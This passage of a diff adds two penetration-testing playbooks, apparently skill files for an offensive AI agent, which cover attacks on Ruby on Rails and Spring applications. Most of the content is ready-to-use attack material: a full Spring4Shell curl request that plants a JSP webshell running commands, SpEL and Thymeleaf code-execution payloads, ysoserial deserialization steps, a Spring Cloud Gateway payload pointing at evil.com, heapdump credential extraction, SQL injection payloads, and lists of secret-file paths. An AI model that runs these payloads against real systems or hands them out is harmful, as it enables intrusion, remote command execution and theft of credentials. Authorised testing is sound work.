  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,269 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: rails
5
+ description: Security testing playbook for Ruby on Rails applications covering mass assignment, CSRF, route enumeration, deserialization, and Rails-specific misconfigurations
6
+ ---
7
+
8
+ # Ruby on Rails Security Testing
9
+
10
+ Rails is common in startups and SaaS applications. Key attack surface: mass assignment via strong parameters bypass, CSRF handling, route enumeration, Ruby deserialization, and config exposure.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Fingerprinting Rails
17
+
18
+ # Rails-specific paths and patterns
19
+ GET /rails/info/properties # Rails app info (development only)
20
+ GET /rails/info/routes # Full route listing (development only)
21
+ GET /rails/mailers # Mailer preview (development only)
22
+ GET /sidekiq # Sidekiq job queue (very common)
23
+ GET /sidekiq/queues # Queue list
24
+ GET /resque # Resque dashboard
25
+ GET /delayed_job # DelayedJob dashboard
26
+
27
+ # Rails standard routes
28
+ GET / # Root
29
+ GET /users # Index
30
+ GET /users/new # New form
31
+ POST /users # Create
32
+ GET /users/:id # Show
33
+ GET /users/:id/edit # Edit form
34
+ PATCH/PUT /users/:id # Update
35
+ DELETE /users/:id # Delete
36
+
37
+ # Rails JSON API conventions
38
+ GET /api/v1/<resource>.json
39
+ GET /api/v1/<resource>/<id>.json
40
+
41
+ # Fingerprinting via headers
42
+ X-Request-Id: <uuid> # Rails generates this
43
+ Set-Cookie: _app_session=... # Rails session cookie pattern
44
+
45
+ # Error page fingerprint
46
+ GET /nonexistent → ActionController::RoutingError (development)
47
+
48
+ ---
49
+
50
+ ## Route Enumeration
51
+
52
+ # rails routes exposed in development
53
+ GET /rails/info/routes
54
+
55
+ # Production route guessing from RESTful conventions
56
+ # GET /admin → admin dashboard
57
+ # GET /admin/users → user management
58
+ # GET /health → health check
59
+ # GET /__health → alt health
60
+ # GET /metrics → Prometheus metrics (sometimes)
61
+
62
+ # Fuzz with Rails-specific wordlist
63
+ dirsearch -u <target> -w /usr/share/seclists/Discovery/Web-Content/rails.txt
64
+
65
+ ---
66
+
67
+ ## Mass Assignment
68
+
69
+ Rails 4+ uses Strong Parameters — but bypass is common via nested params or whitelisted `:all`:
70
+
71
+ # Test by adding extra fields to any POST/PUT/PATCH:
72
+ POST /users
73
+ {"user": {"email": "a@b.com", "password": "pass", "admin": true, "role": "admin"}}
74
+
75
+ # Nested attributes bypass:
76
+ POST /profiles
77
+ {"profile": {"bio": "test", "user_attributes": {"admin": true}}}
78
+
79
+ # permit! wildcard (vulnerable):
80
+ params.require(:user).permit! # Allows all attributes
81
+
82
+ # rails_admin and ActiveAdmin gems often have mass assignment issues
83
+ POST /admin/users
84
+ {"user": {"admin": true, "role_id": 1}}
85
+
86
+ ---
87
+
88
+ ## CSRF
89
+
90
+ # Rails CSRF: authenticity_token in forms + X-CSRF-Token header
91
+ # Default: protects all non-GET/HEAD/OPTIONS/TRACE requests
92
+
93
+ # Bypass techniques:
94
+ # 1. API controllers with protect_from_forgery :with => :null_session (CSRF disabled)
95
+ # 2. Routes under /api/ commonly skip CSRF
96
+ # 3. Same-site cookie with XSS
97
+ # 4. JSON-only endpoints sometimes exempt (Content-Type: application/json)
98
+ # 5. Token in URL (?authenticity_token=...) — leaked in Referer header
99
+
100
+ # Extract CSRF token
101
+ curl -c cookies.txt -s <target>/login | grep authenticity_token
102
+
103
+ ---
104
+
105
+ ## Ruby Deserialization
106
+
107
+ Rails uses Marshal for Ruby object serialization in cookies (Rails < 4.0 default) and some caches:
108
+
109
+ # Marshal-based cookie deserialization (old Rails):
110
+ # If cookie contains %-encoded binary data starting with BAh = Marshal.dump
111
+ echo "BAh..." | base64 -d | ruby -e "require 'marshal'; puts Marshal.load(STDIN.read)"
112
+
113
+ # Generate deserialization payload (Ruby gadget chains):
114
+ # Tool: https://github.com/presidentbeef/brakeman
115
+ # Universal gadget via erb:
116
+ ruby -e "require 'erb'; require 'open3'; payload = ERB.new('<%= \`id\` %>'); puts Marshal.dump(payload)"
117
+
118
+ # Rails cookie secret key base exposure → forge cookies
119
+ # If SECRET_KEY_BASE or SECRET_TOKEN is in git history, .env, or leaked error page:
120
+ # Forge any session data
121
+
122
+ # CVE-2013-0156: Old Rails YAML/XML deserialization
123
+ # CVE-2020-8163: Remote code execution in Rails < 5.2.4.3 (ERB render injection)
124
+
125
+ ---
126
+
127
+ ## SQL Injection
128
+
129
+ # ActiveRecord is parameterized by default, but raw queries exist:
130
+
131
+ # Vulnerable patterns:
132
+ User.where("name = '#{params[:name]}'") # Vulnerable
133
+ User.find_by_sql("SELECT * FROM users WHERE id=#{params[:id]}") # Vulnerable
134
+ User.order(params[:sort]) # Order injection
135
+
136
+ # Safe patterns:
137
+ User.where("name = ?", params[:name]) # Safe
138
+ User.where(name: params[:name]) # Safe
139
+
140
+ # Order-by injection (extremely common in Rails apps):
141
+ GET /users?sort=name ASC,(SELECT SLEEP(5))--
142
+ GET /products?order=price`,(SELECT 1 FROM (SELECT SLEEP(5))a)--
143
+
144
+ # Test with sqlmap:
145
+ sqlmap -u "<target>/users?sort=name" --dbms=postgresql -p sort --level=3
146
+
147
+ ---
148
+
149
+ ## File Upload (Active Storage / CarrierWave / Paperclip)
150
+
151
+ # Rails Active Storage endpoints:
152
+ GET /rails/active_storage/blobs/<token>/<filename>
153
+ GET /rails/active_storage/representations/<...>
154
+ GET /rails/active_storage/disk/<...>
155
+
156
+ # Direct upload endpoint (may allow arbitrary file types):
157
+ POST /rails/active_storage/direct_uploads
158
+ Content-Type: application/json
159
+ {"blob": {"filename": "shell.rb", "content_type": "image/jpeg", "byte_size": 100}}
160
+
161
+ # CarrierWave: check if serve_static_assets or X-Accel-Redirect used
162
+ # Path traversal in filename: ../../../config/database.yml
163
+
164
+ ---
165
+
166
+ ## Sensitive File Exposure
167
+
168
+ # Rails configuration files
169
+ GET /config/database.yml # DB credentials
170
+ GET /config/secrets.yml # Secret key base (Rails 4.2)
171
+ GET /config/credentials.yml.enc # Encrypted credentials (Rails 5.2+)
172
+ GET /config/master.key # Decrypts credentials.yml.enc (CRITICAL)
173
+ GET /config/environments/production.rb
174
+
175
+ # Log files
176
+ GET /log/production.log
177
+
178
+ # Gemfile reveals gems in use
179
+ GET /Gemfile
180
+ GET /Gemfile.lock
181
+
182
+ # .env exposure
183
+ GET /.env
184
+
185
+ # Git exposure (common in Heroku/Render deployments)
186
+ GET /.git/config
187
+
188
+ ---
189
+
190
+ ## Sidekiq Dashboard
191
+
192
+ # Sidekiq web UI (very commonly exposed without auth)
193
+ GET /sidekiq
194
+ GET /sidekiq/queues
195
+ GET /sidekiq/workers
196
+ GET /sidekiq/retries
197
+ GET /sidekiq/dead
198
+
199
+ # If accessible: view job arguments (may contain credentials, user data)
200
+ # Can retry/delete jobs
201
+ # Sidekiq API:
202
+ GET /sidekiq/api/queues
203
+ GET /sidekiq/api/stats
204
+
205
+ ---
206
+
207
+ ## Authentication
208
+
209
+ # Devise (most common Rails auth gem) endpoints:
210
+ POST /users/sign_in
211
+ POST /users/sign_up
212
+ DELETE /users/sign_out
213
+ POST /users/password # Password reset request
214
+ PUT /users/password # Password reset with token
215
+ GET /users/confirmation?token=... # Email confirmation
216
+
217
+ # Devise account enumeration:
218
+ POST /users/password
219
+ {"user": {"email": "valid@example.com"}} # "You will receive an email"
220
+ {"user": {"email": "invalid@example.com"}} # "Email not found"
221
+
222
+ # Devise token authentication (devise_token_auth):
223
+ POST /auth/sign_in → returns uid, access-token, client, token-type
224
+ # Replay attack: token is single-use but race condition may allow reuse
225
+
226
+ ---
227
+
228
+ ## IDOR
229
+
230
+ # Rails RESTful routes use sequential integer IDs by default
231
+ GET /invoices/1
232
+ GET /invoices/2 # Another user's invoice?
233
+
234
+ # Nested resources:
235
+ GET /users/1/documents/1 # Verify /users/:user_id matches authenticated user
236
+
237
+ # Globalize (multi-language): check if lang param causes different auth path
238
+ GET /en/admin
239
+ GET /ja/admin
240
+
241
+ ---
242
+
243
+ ## View Injection / XSS
244
+
245
+ # Rails auto-escapes ERB by default
246
+ # raw() and html_safe bypass escape:
247
+ <%= raw(params[:name]) %> # XSS if user-controlled
248
+
249
+ # JSON injection in view:
250
+ <%= params[:callback].html_safe %> # JSONP injection
251
+
252
+ # Redirect injection:
253
+ redirect_to params[:return_to] # Open redirect if not validated
254
+
255
+ ---
256
+
257
+ ## Pro Tips
258
+
259
+ 1. `/sidekiq` without auth is extremely common — always check it first
260
+ 2. `/rails/info/routes` in development exposes full route list
261
+ 3. `SECRET_KEY_BASE` in git history → forge any session cookie
262
+ 4. Order-by injection (`?sort=`, `?order=`) is the most common Rails SQLi pattern
263
+ 5. Devise password reset: test token brute-force and timing attacks
264
+ 6. `permit!` in strong parameters is a mass assignment goldmine
265
+ 7. Active Storage direct upload may accept dangerous file types
266
+
267
+ ## Summary
268
+
269
+ Rails testing = Sidekiq exposure + route enumeration + mass assignment in strong params + order-by SQLi injection. The fastest critical find is Sidekiq dashboard exposed without auth (common) or SECRET_KEY_BASE in git history enabling session forgery. Always test Devise endpoints for account enumeration and timing attacks.
@@ -0,0 +1,245 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: spring
5
+ description: Security testing playbook for Spring Boot/MVC applications covering Actuator endpoints, SSTI via Thymeleaf, Spring4Shell, EL injection, and Java deserialization
6
+ ---
7
+
8
+ # Spring Boot / Spring MVC Security Testing
9
+
10
+ Spring is the dominant Java enterprise framework. Critical attack surface: exposed Actuator endpoints, EL/SSTI injection, Spring4Shell (CVE-2022-22965), deserialization, and Spring Security misconfigurations.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Fingerprinting Spring
17
+
18
+ # Spring Boot Actuator — management endpoints (HIGHEST PRIORITY)
19
+ GET /actuator # Lists all enabled actuator endpoints
20
+ GET /actuator/health # App health (often public)
21
+ GET /actuator/env # Environment variables + config (CRITICAL)
22
+ GET /actuator/beans # All Spring beans
23
+ GET /actuator/mappings # All URL mappings (full route enumeration!)
24
+ GET /actuator/loggers # Log level config
25
+ GET /actuator/metrics # Application metrics
26
+ GET /actuator/threaddump # Thread dump
27
+ GET /actuator/heapdump # JVM heap dump (download full memory!)
28
+ GET /actuator/httptrace # Recent HTTP requests
29
+ GET /actuator/sessions # Active sessions
30
+ GET /actuator/shutdown # POST → shuts down app (if enabled!)
31
+
32
+ # Legacy Spring Boot 1.x paths (pre-2.0)
33
+ GET /health
34
+ GET /env
35
+ GET /mappings
36
+ GET /beans
37
+ GET /trace
38
+ GET /dump
39
+
40
+ # Alternate Actuator base paths
41
+ GET /management/actuator
42
+ GET /admin/actuator
43
+ GET /api/actuator
44
+ GET /internal/actuator
45
+
46
+ # Error pages reveal Spring
47
+ GET /nonexistent → Whitelabel Error Page → confirms Spring Boot
48
+ X-Application-Context header in responses
49
+
50
+ ---
51
+
52
+ ## Actuator Exploitation
53
+
54
+ ### /actuator/env — Credential Extraction
55
+
56
+ # Returns all properties including masked values (shown as ***)
57
+ # Unmasked properties visible directly
58
+
59
+ # Change log level to TRACE → verbose credential logging
60
+ POST /actuator/loggers/org.springframework.web
61
+ Content-Type: application/json
62
+ {"configuredLevel": "TRACE"}
63
+
64
+ # Actuator env with POST can set properties:
65
+ POST /actuator/env
66
+ Content-Type: application/json
67
+ {"name": "spring.datasource.url", "value": "jdbc:h2:mem:testdb"}
68
+
69
+ ### /actuator/heapdump — Memory Extraction
70
+
71
+ # Download full JVM heap (can be hundreds of MB)
72
+ curl -o heap.hprof http://<target>/actuator/heapdump
73
+
74
+ # Analyze with Eclipse Memory Analyzer (MAT) or strings
75
+ strings heap.hprof | grep -iE "password|secret|key|token|jdbc"
76
+
77
+ ### /actuator/mappings — Route Discovery
78
+
79
+ # Full list of all URL mappings, methods, and handlers
80
+ curl -s <target>/actuator/mappings | python3 -m json.tool | grep '"pattern"'
81
+
82
+ ### /actuator/shutdown — DoS (if POST enabled)
83
+
84
+ POST /actuator/shutdown
85
+ Content-Type: application/json
86
+ {}
87
+
88
+ ---
89
+
90
+ ## Spring4Shell (CVE-2022-22965) — RCE
91
+
92
+ Affects Spring MVC 5.3.x < 5.3.18, 5.2.x < 5.2.20, JDK 9+, packaged as WAR on Tomcat:
93
+
94
+ # Exploit — write JSP webshell via ClassLoader
95
+ curl -X POST <target>/any-spring-mvc-endpoint \
96
+ --data "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((-1!%3D(a%3Din.read(b))))%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" \
97
+ -H "c1: Runtime" -H "c2: <%" -H "suffix: %>"
98
+
99
+ # After exploit, access the webshell:
100
+ GET /tomcatwar.jsp?pwd=j&cmd=id
101
+
102
+ # Nuclei template:
103
+ nuclei -t cves/2022/CVE-2022-22965.yaml -u <target>
104
+
105
+ ---
106
+
107
+ ## Thymeleaf SSTI (Spring View Manipulation)
108
+
109
+ Thymeleaf is the default template engine for Spring Boot:
110
+
111
+ # If user input ends up in view name (Spring MVC controller returns view name from input):
112
+ # Vulnerable pattern:
113
+ # @GetMapping("/path") public String index(@RequestParam String lang) { return lang; }
114
+
115
+ # Basic probes:
116
+ /__$%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27id%27%29%7D__::
117
+ __${T(java.lang.Runtime).getRuntime().exec('id')}__::
118
+
119
+ # Spring EL expression via Thymeleaf
120
+ ${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','id'})}
121
+
122
+ # If fragment is injectable:
123
+ GET /path?fragment=__${T(java.lang.Runtime).getRuntime().exec('id')}__::
124
+
125
+ ---
126
+
127
+ ## Spring EL Injection
128
+
129
+ # SpEL injection in @Value annotations, Spring Security expressions, or dynamic evaluation
130
+ # Test any input that may be evaluated as SpEL:
131
+ T(java.lang.Runtime).getRuntime().exec('id')
132
+ new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()
133
+
134
+ # HTTP parameter to SpEL (if app uses BeanFactory.getBean(userInput)):
135
+ ?expression=T(java.lang.Runtime).getRuntime().exec('id')
136
+
137
+ ---
138
+
139
+ ## Java Deserialization
140
+
141
+ # Spring apps using Java serialization (RMI, JMX, ObjectInputStream)
142
+ # Detect: Content-Type: application/x-java-serialized-object
143
+ # Or: base64 starting with rO0AB (Java serialized object magic bytes)
144
+
145
+ # Test all binary-accepting endpoints
146
+ # Generate payload with ysoserial:
147
+ java -jar ysoserial.jar CommonsCollections1 'id' > payload.ser
148
+ curl -X POST <target>/endpoint \
149
+ -H "Content-Type: application/x-java-serialized-object" \
150
+ --data-binary @payload.ser
151
+
152
+ # Common gadget chains for Spring ecosystem:
153
+ CommonsCollections1/3/5/6 (Apache Commons Collections)
154
+ Spring1/Spring2 (Spring itself)
155
+ Groovy1 (if Groovy on classpath)
156
+
157
+ ---
158
+
159
+ ## Spring Security Misconfigurations
160
+
161
+ # permitAll() on sensitive endpoints:
162
+ GET /api/admin/users # Should require auth
163
+ GET /api/internal/ # Often left open
164
+
165
+ # CSRF disabled for API (common but dangerous if cookies used):
166
+ # http.csrf().disable() in SecurityConfig
167
+
168
+ # URL matching bypasses (Spring Security path matching):
169
+ GET /admin%2F # URL-encoded slash bypass
170
+ GET /admin;ignored/ # Semicolon matrix parameter bypass (older Spring)
171
+ GET /admin/./ # Path traversal normalization bypass
172
+ GET //admin/ # Double slash bypass
173
+
174
+ # Method-level security check:
175
+ # @PreAuthorize("hasRole('ADMIN')") — test with USER role
176
+
177
+ ---
178
+
179
+ ## OAuth2 / JWT
180
+
181
+ # Spring Security OAuth2 endpoints:
182
+ GET /oauth/authorize
183
+ POST /oauth/token
184
+ GET /oauth/check_token
185
+ GET /.well-known/openid-configuration
186
+
187
+ # JWT with RS256: algorithm confusion → sign with public key as HS256
188
+ # JWT 'kid' header injection for key confusion
189
+ # Missing audience/issuer validation
190
+
191
+ ---
192
+
193
+ ## Actuator via Spring Cloud
194
+
195
+ # Spring Cloud Config Server — very high value
196
+ GET /env/<app-name>/<profile>/<branch> # Remote config fetch
197
+ GET /<app-name>/default # Default profile config
198
+
199
+ # Spring Cloud Gateway SSRF (CVE-2022-22947)
200
+ POST /actuator/gateway/routes/ssrf-test
201
+ Content-Type: application/json
202
+ {
203
+ "id": "ssrf-test",
204
+ "filters": [{"name": "AddResponseHeader", "args": {"name": "foo", "value": "#{T(java.lang.Runtime).getRuntime().exec('id').text}"}}],
205
+ "uri": "https://evil.com"
206
+ }
207
+
208
+ ---
209
+
210
+ ## Common CVEs
211
+
212
+ | CVE | Component | Impact |
213
+ |-----|-----------|--------|
214
+ | CVE-2022-22965 | Spring MVC | RCE (Spring4Shell) |
215
+ | CVE-2022-22963 | Spring Cloud Function | RCE via SpEL |
216
+ | CVE-2022-22947 | Spring Cloud Gateway | RCE via Actuator |
217
+ | CVE-2021-22096 | Spring Framework | Log injection |
218
+ | CVE-2020-5421 | Spring MVC | Reflected File Download |
219
+
220
+ # Scan for known CVEs:
221
+ nuclei -t cves/ -u <target> -tags spring
222
+
223
+ ---
224
+
225
+ ## Key Tools
226
+
227
+ nuclei -t exposures/configs/spring-actuator.yaml -u <target>
228
+ nuclei -t cves/ -tags spring -u <target>
229
+ dirsearch -u <target> -e java,class,war,xml
230
+
231
+ ---
232
+
233
+ ## Pro Tips
234
+
235
+ 1. `/actuator/mappings` = free full route enumeration — always check first
236
+ 2. `/actuator/heapdump` = full JVM memory — contains plaintext credentials, tokens, secrets
237
+ 3. `/actuator/env` masks passwords but often other sensitive properties are visible
238
+ 4. Spring4Shell (CVE-2022-22965) requires WAR deployment on Tomcat — check server type
239
+ 5. Whitelabel Error Page confirms Spring Boot; custom error pages may hide it
240
+ 6. CSRF is commonly disabled for REST APIs — test all state-changing API calls
241
+ 7. SpEL injection is rare but critical — search for dynamic expression evaluation
242
+
243
+ ## Summary
244
+
245
+ Spring testing = Actuator endpoints (env, heapdump, mappings) + Spring4Shell check + Thymeleaf SSTI + Spring Security URL bypass. Actuator exposure is the #1 finding in Spring apps — heapdump alone can reveal all secrets in memory. Always enumerate alternate Actuator base paths (/management/, /admin/, /internal/).